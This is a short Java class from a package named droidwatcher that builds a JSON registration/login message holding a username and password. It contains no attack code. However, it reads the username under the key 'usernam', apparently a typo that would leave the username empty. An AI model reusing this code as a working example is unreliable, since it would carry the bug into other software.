package com.droidwatcher.variables;

import com.alibaba.fastjson.JSON;
import com.droidwatcher.JsonEntity.HttpRequestHead;
import com.droidwatcher.JsonEntity.RegAndLoginJsonObj;
import com.droidwatcher.JsonEntity.RegistAndLoginEntityInfo;
import com.droidwatcher.lib.MessageType;

import java.util.HashMap;
import java.util.Map;

public class SimpleServerMessage implements IServerMessage {
    public MessageType type;
    private Map<String, Object> map;

    public SimpleServerMessage(MessageType type) {
        this.type = type;
        this.map = new HashMap<String, Object>();
    }

    public SimpleServerMessage addParam(String key, Object value) {
        map.put(key, value);
        return this;
    }

    public String getJSONString() {
            RegAndLoginJsonObj obj = new RegAndLoginJsonObj() ;
            obj.setHead(new HttpRequestHead());
            RegistAndLoginEntityInfo registInfo  = new RegistAndLoginEntityInfo();
            registInfo.setPassword((String) map.get("password"));
            registInfo.setUsername((String) map.get("usernam"));
            obj.setInfo(registInfo);

            return JSON.toJSONString(obj);
    }

	@Override
	public MessageType getType() {
		return type;
	}
}
